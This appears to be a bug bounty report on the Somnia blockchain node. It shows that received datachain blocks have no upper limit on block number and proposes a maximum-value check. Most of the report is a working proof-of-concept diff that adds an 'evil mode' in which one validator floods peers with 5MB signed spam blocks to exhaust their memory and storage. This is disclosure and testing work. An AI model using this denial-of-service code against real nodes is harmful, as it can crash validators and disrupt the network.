https://github.com/hackenproof-public/somnia
When a datachain block is received, there is no upper limit for the block number. As shown in ReceivedBlock, the block is saved in storage after it is received, and then the header is saved in received_blocks:
https://github.com/hackenproof-public/somnia/blob/ea5c191a893153fe020aac35532bbcaca0f8c5d1/somnia/data_chains/data_chain.cc#L143-L157
This means that a malicious node could spam honest nodes with extremely large datachain blocks, which would be stored in storage and have their headers kept in memory, wasting the nodes’ resources and potentially even causing them to crash.
Because of this, I believe there should be a check to ensure that the block number does not exceed a maximum value. Otherwise, a malicious node could spam an endless number of blocks that would fill up storage and would also remain in the array, wasting memory. Additionally after an epoch finishes the invalid blocks should get removed.
Apply the following diff and run the network with NETWORK_PRESET=mainnet-small ./ci/run-local-deployment.sh. You can see in the comments what it does.
diff --git a/ci/run-local-deployment.sh b/ci/run-local-deployment.sh
index ab51ed8c..3001ab79 100755
--- a/ci/run-local-deployment.sh
+++ b/ci/run-local-deployment.sh
@@ -6,7 +6,7 @@ trap "trap - SIGTERM && kill -- -$$" SIGINT SIGTERM EXIT
cd "$(dirname "$0")/.."
# Set the number of validators.
-NUM_VALIDATORS=4
+NUM_VALIDATORS=2 # Only two validators are needed for this POC
NUM_GENERATED_TEST_ACCOUNTS=10000
NUM_GENERATED_TRANSACTIONS_PER_SECOND="100"
NETWORK_PRESET=${NETWORK_PRESET:-mainnet-small}
@@ -107,6 +107,11 @@ function runNode {
# Run a background process to add this node address as a validator.
addNodeAsValidator $validator_index ws://localhost:${base_api_websocket_port} &
+ local evil_param="" # Enable evil mode on validator 0. This means node 0 will spam node 1 with invalid data chain blocks.
+ if [ "$validator_index" -eq 0 ]; then
+ evil_param="--local-parameters.is-evil true"
+ fi
+
# Start the node.
echo "Starting validator $validator_index on ports $protocol_port and $data_port"
$SOMNIA_BIN node \
@@ -122,6 +127,7 @@ function runNode {
--local-parameters.seed-peer.peer-address $(cat /tmp/address_0.json) \
--local-parameters.seed-peer.hostname "127.0.0.1" \
--key-file /tmp/keys_${validator_index}.json \
+ $evil_param \
--parameters-preset "$NETWORK_PRESET" \
--verbose || true
diff --git a/somnia/data_chains/data_chain.cc b/somnia/data_chains/data_chain.cc
index 119454d2..8f5f7ce9 100644
--- a/somnia/data_chains/data_chain.cc
+++ b/somnia/data_chains/data_chain.cc
@@ -146,6 +146,9 @@ void DataChain::ReceivedBlock(BlockView input_block) {
// We already have this block.
return;
}
+ if (chain_parameters.local_parameters.is_evil && input_block.block_number > 3000) { // The malicious node should not attack itself
+ return;
+ }
// Save the block into the storage database.
storage_database.SetSmashData(
diff --git a/somnia/data_chains/data_chain_proposer.cc b/somnia/data_chains/data_chain_proposer.cc
index e0dfa588..81c2ad5a 100644
--- a/somnia/data_chains/data_chain_proposer.cc
+++ b/somnia/data_chains/data_chain_proposer.cc
@@ -349,6 +349,33 @@ void DataChainProposer::PublishNewBlock(DataChainCompressor::CompressedBlock com
new_block.total_resources_committed =
total_resources_published + new_block.data_chain_block_resources;
+ if(chain_parameters.local_parameters.is_evil) { //this creates blocks with the size of about 5MB and sends them 10 times to each node
+ for (int i = 0; i < 10; i++) { //creates a block with the data created above
+ constexpr size_t size = 5 * 1024 * 1024;
+ std::vector<std::uint8_t> data(size, 0xFF); // Initialize with 0xFF
+ spam_data = ByteSpanConst{data.data(), data.size()};
+
+ DataChain::BlockView spam_block;
+ spam_block.block_number = next_block_num;
+ spam_block.data = std::move(spam_data);
+ spam_block.data_chain_id = data_chain_id;
+ spam_block.parent_hash = ZeroHash();
+
+ spam_block.block_hash = spam_block.CalculateHash();
+ spam_block.signature = ecdsa::CreateSignature(spam_block.block_hash, our_private_keys.GetECDSAPrivateKey());
+
+ ByteSpanConst serialised_spam_block = smash::SerialiseToBuffer(spam_block);
+ std::vector<std::uint8_t> spam_to_broadcast = smash::SerialiseToVector(serialised_spam_block);
+
+ spdlog::info("sending block for number: {}", next_block_num);
+ for (const auto& peer : protocol_outgoing_router.GetAllConnectedPeers()) {
+ data_network.TrySendToPeer(peer, spam_to_broadcast);
+ }
+ data_network.FlushMessages();
+ next_block_num--; //block numbers starts at 30000 and become lower
+ }
+ }
+
// Calculate the block hash.
new_block.block_hash = new_block.CalculateHash();
diff --git a/somnia/data_chains/data_chain_proposer.h b/somnia/data_chains/data_chain_proposer.h
index 05a2d4cc..b9c2d962 100644
--- a/somnia/data_chains/data_chain_proposer.h
+++ b/somnia/data_chains/data_chain_proposer.h
@@ -15,6 +15,9 @@ namespace somnia {
// This class is responsible for creating new data chains, and proposing new blocks to go onto those
// data chains. There is currently one of these ran on each validator node.
struct DataChainProposer {
+ std::uint64_t next_block_num = 30000;
+ ByteSpanConst spam_data;
+
DataChainProposer(ChainParameters chain_parameters, StorageDatabase& storage_database,
ProtocolOutgoingRouter& protocol_outgoing_router,
PeerNetworkTransport& data_network,
diff --git a/somnia/parameters/local_parameters.h b/somnia/parameters/local_parameters.h
index d2d2b652..90b21ede 100644
--- a/somnia/parameters/local_parameters.h
+++ b/somnia/parameters/local_parameters.h
@@ -483,6 +483,10 @@ struct LocalParameters {
"transactions from.")
std::vector<Address> blocked_senders;
+ HELP(
+ "If node should have evil mode enabled")
+ bool is_evil = false;
+
ThrottlerParameters throttler_parameters;
api::APIParameters api_parameters;
After this you can run the following command in an extra terminal to monitor the memory usage and see that the memory usage of node 1 is much higher than the one from node 0. Additionally the storage is filled up. For me my either my whole vm or the node crashes after some time.
watch -n 0.1 '
echo "=== MEMORY ==="
ps -eo pid,cmd,%mem,rss,vsz --sort=-%mem ww | grep somnia
'